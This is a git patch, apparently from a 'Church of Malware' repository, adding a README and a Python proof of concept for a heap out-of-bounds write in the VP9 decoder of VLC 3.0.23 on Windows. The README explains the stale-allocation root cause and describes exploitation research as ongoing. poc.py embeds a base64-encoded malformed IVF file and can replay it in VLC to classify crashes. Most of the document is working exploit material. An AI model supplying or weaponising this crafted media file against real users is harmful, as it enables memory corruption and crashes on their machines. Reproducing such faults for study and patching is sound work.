From 0567fe36cdd8fa6bad2e0d35235b5b94142a4129 Mon Sep 17 00:00:00 2001 From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org> Date: Mon, 29 Jun 2026 17:09:18 +0000 Subject: [PATCH] Upload files to "vlc-vp9-reschange-crash-poc" --- vlc-vp9-reschange-crash-poc/README.md | 101 +++++++++++++++++++++ vlc-vp9-reschange-crash-poc/poc.py | 126 ++++++++++++++++++++++++++ 2 files changed, 227 insertions(+) create mode 100644 vlc-vp9-reschange-crash-poc/README.md create mode 100644 vlc-vp9-reschange-crash-poc/poc.py diff --git a/vlc-vp9-reschange-crash-poc/README.md b/vlc-vp9-reschange-crash-poc/README.md new file mode 100644 index 0000000..11f0f63 --- /dev/null +++ b/vlc-vp9-reschange-crash-poc/README.md @@ -0,0 +1,101 @@ +# VLC VP9 Resolution-Change Crash PoC + +This repository contains a small Python reproducer for a VLC 3.0.23 Windows VP9 decoder crash condition. + +Research status: incomplete and continuing. + +## Summary + +The PoC writes a 405-byte VP9 IVF file with two frames: + +- frame 1: `64x64` +- frame 2: `64x8192` + +The important detail is that the second frame changes the frame height while keeping the VP9 tile-column layout stable. In VLC 3.0.23's bundled FFmpeg VP9 decoder, that shape reaches a stale slice-thread progress allocation. + +## Why It Happens + +The VP9 decoder tracks slice-thread progress in an `entries` array. That array is allocated using the number of superblock rows for the current frame. + +For a `64x64` frame: + +```text +sb_rows = (64 + 63) >> 6 = 1 +entries allocation = 1 * sizeof(atomic_int) = 4 bytes +``` + +For a later `64x8192` frame: + +```text +sb_rows = (8192 + 63) >> 6 = 128 +``` + +The stale allocation remains sized for the first frame when the tile-column count does not change. During decode, the VP9 slice-thread reset loop writes zero to each row entry for the new frame: + +```c +for (i = 0; i < s->sb_rows; i++) + atomic_store(&s->entries[i], 0); +``` + +That turns the second frame into a sequence of 4-byte zero writes past the original 4-byte allocation. On Windows VLC 3.0.23, the process behavior depends on heap layout and runtime state; observed outcomes include heap-corruption termination and access violation. + +## Files + +- `poc.py`: stdlib-only Python reproducer +- generated output: `vp9_reschange_64x64_to_64x8192_tc0.ivf` + +No external Python dependencies are required. + +## Usage + +Generate the IVF sample: + +```bash +python poc.py +``` + +Generate the sample at a custom path: + +```bash +python poc.py -o sample.ivf +``` + +Optionally replay it with a local VLC binary: + +```bash +python poc.py --vlc "C:\Path\To\VLC\vlc.exe" +``` + +The script prints JSON containing the generated sample path, SHA256 hash, size, and optional VLC process result. + +Expected sample hash: + +```text +F26BDEFBDFD0B44359E314E0BFDE7AEA979D29F80F598749DCCA68AB34F54649 +``` + +## Tested Target + +Tested against: + +- VLC media player 3.0.23 for Windows x64 +- decoder module: `plugins/codec/libavcodec_plugin.dll` +- VP9 decoder source lineage: FFmpeg 4.4.x VP9 decoder + +The relevant decoder behavior is the stale `entries` allocation on a resolution change that does not change tile-column count. + +## Research Notes + +Local instrumentation observed the stale reset loop in `libavcodec_plugin.dll` at RVA `0x698a5c`, executing the fixed zero-write pattern against the stale `entries` allocation. + +For the `64x64 -> 64x8192` sample, direct-store tracing observed: + +- `129` total `entries` stores +- `127` stores past the requested 4-byte allocation +- `114` stores past the allocator raw usable block + +This repository is a compact crash reproducer. Research on the full exploitability of this primitive is incomplete and continuing. + +## Responsible Use + +Run this only in a local test environment you control. The generated media file is intended for reproducing and studying the decoder fault path. diff --git a/vlc-vp9-reschange-crash-poc/poc.py b/vlc-vp9-reschange-crash-poc/poc.py new file mode 100644 index 0000000..4800585 --- /dev/null +++ b/vlc-vp9-reschange-crash-poc/poc.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python3 +import argparse +import base64 +import hashlib +import json +import subprocess +import sys +import time +from pathlib import Path + + +SAMPLE_B64 = ( + "REtJRgAAIABWUDkwQABAAAEAAAABAAAAAgAAAAAAAABeAAAAAAAAAAAAAACCSYNCAAPwA/YGOCQcGEoAACBAAGtD///lXb23/SskhXr7zdPyoCRyEjNuPymkNJQgETBR424BCv//rXCHLKdpldqOXFZdaWk1nVibjsmAd3pGejzlO0+dlygBOCSA/wAAAAEAAAAAAAAAgkmDQgAD8f/2BjgkHBhKAADQR9j9Ye4xQAev+/8OAGxOd+f8niRqQFa1U/7kzgammYg1AcYQFrhfX6tE38imv1MXtaAO/yiEiKaaDpaMxLBBYGTZ80JtDb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GUoA" +) + +EXPECTED_SHA256 = "F26BDEFBDFD0B44359E314E0BFDE7AEA979D29F80F598749DCCA68AB34F54649" + +CRASH_CODES = { + 0xC0000005: "access_violation", + 0xC0000374: "heap_corruption", + 0xC0000409: "stack_buffer_overrun", +} + + +def code32(value): + if value is None: + return None + return value & 0xFFFFFFFF + + +def classify_returncode(value): + code = code32(value) + if code is None: + return "timeout" + if code == 0: + return "clean" + if code in CRASH_CODES: + return f"crash:{CRASH_CODES[code]}" + return "nonzero" + + +def write_sample(path): + data = base64.b64decode(SAMPLE_B64) + digest = hashlib.sha256(data).hexdigest().upper() + if digest != EXPECTED_SHA256: + raise RuntimeError(f"embedded sample hash mismatch: {digest}") + path.parent.mkdir(parents=True, exist_ok=True) + path.write_bytes(data) + return data + + +def run_vlc(vlc, sample, timeout): + cmd = [ + str(vlc), + "-I", + "dummy", + "--dummy-quiet", + "--ignore-config", + "--no-media-library", + "--play-and-exit", + "--run-time", + "2", + "--no-one-instance", + "--no-qt-privacy-ask", + "--no-qt-error-dialogs", + "--no-crashdump", + "--no-audio", + "--vout", + "dummy", + str(sample), + "vlc://quit", + ] + started = time.time() + try: + proc = subprocess.run( + cmd, + cwd=str(vlc.parent), + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + timeout=timeout, + ) + returncode = proc.returncode + stdout = proc.stdout.decode("utf-8", "replace") + stderr = proc.stderr.decode("utf-8", "replace") + except subprocess.TimeoutExpired as exc: + returncode = None + stdout = (exc.stdout or b"").decode("utf-8", "replace") + stderr = (exc.stderr or b"").decode("utf-8", "replace") + return { + "status": classify_returncode(returncode), + "returncode": returncode, + "returncode_hex": f"0x{code32(returncode):08x}" if returncode is not None else None, + "elapsed": round(time.time() - started, 3), + "stdout_tail": stdout[-2000:], + "stderr_tail": stderr[-2000:], + } + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument( + "-o", + "--output", + type=Path, + default=Path("vp9_reschange_64x64_to_64x8192_tc0.ivf"), + ) + parser.add_argument("--vlc", type=Path, help="optional path to vlc.exe for local replay") + parser.add_argument("--timeout", type=float, default=8) + args = parser.parse_args() + + data = write_sample(args.output) + result = { + "sample": str(args.output.resolve()), + "sha256": hashlib.sha256(data).hexdigest().upper(), + "size": len(data), + } + if args.vlc: + result["vlc"] = run_vlc(args.vlc.resolve(), args.output.resolve(), args.timeout) + print(json.dumps(result, indent=2)) + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + sys.exit(130)